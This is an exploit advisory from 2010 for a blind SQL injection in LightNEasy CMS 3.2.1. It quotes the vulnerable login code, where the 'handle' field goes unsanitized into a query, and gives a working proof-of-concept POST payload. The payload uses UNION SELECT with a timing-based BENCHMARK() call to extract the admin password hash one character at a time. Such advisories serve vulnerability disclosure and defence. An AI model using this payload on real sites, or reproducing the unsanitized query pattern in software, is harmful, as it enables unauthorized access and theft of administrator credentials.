LightNEasy CMS 3.2.1 Blind SQL Injection

`# Exploit Title: LightNEasy Cms 3.2.1 Blind SQL Injection Vulnerability  
# Date: 20.09.2010  
# Author: Stephan Sattler // Solidmedia.de  
# Software Website: http://www.lightneasy.org/  
# Software Link: http://www.lightneasy.org/addons/downloads/send.php?dlid=127  
# Version: 3.2.1  
# Special Thanks to: Dominik Landtwing  
  
  
[ Vulnerability]  
  
# Vulnerable Code:  
  
common.php line 112-148  
  
function login() {  
global $message, $set, $langmessage, $prefix;  
if($_SESSION[$set['password']]!="1") {  
if($_GET['do']=="login" && $_POST['handle']!="") {  
$result=dbquery('SELECT * FROM '.$prefix.'users WHERE handle="'.$_POST['handle'].'"');  
if($row = fetch_array($result)) {  
if($row['password'] == sha1($_POST['password'])) {  
...  
  
}}}}}  
  
# Explanation:  
  
$_POST['handle'] isn't sanitized before executing the database query.  
  
  
Since the only user after a fresh install is the admin-user with id 1 and  
a normal visitor can't register we have to retrieve the admin hash by using benchmark().  
  
# Exploiting the Vulnerability // PoC:  
  
URL: http://localhost/LNE/LightNEasy.php?do=login  
  
Postdata:  
  
handle=" UNION SELECT IF(SUBSTRING(password,1 ,1) = CHAR(98), BENCHMARK(1000000, ENCODE('Slow','Down')), null),2,3,4,5,6,7,8,9,10,11 FROM lne_users WHERE id="1&password=&do=login&=Login  
  
This will trigger benchmark() if the first character of the admin hash is b.  
  
`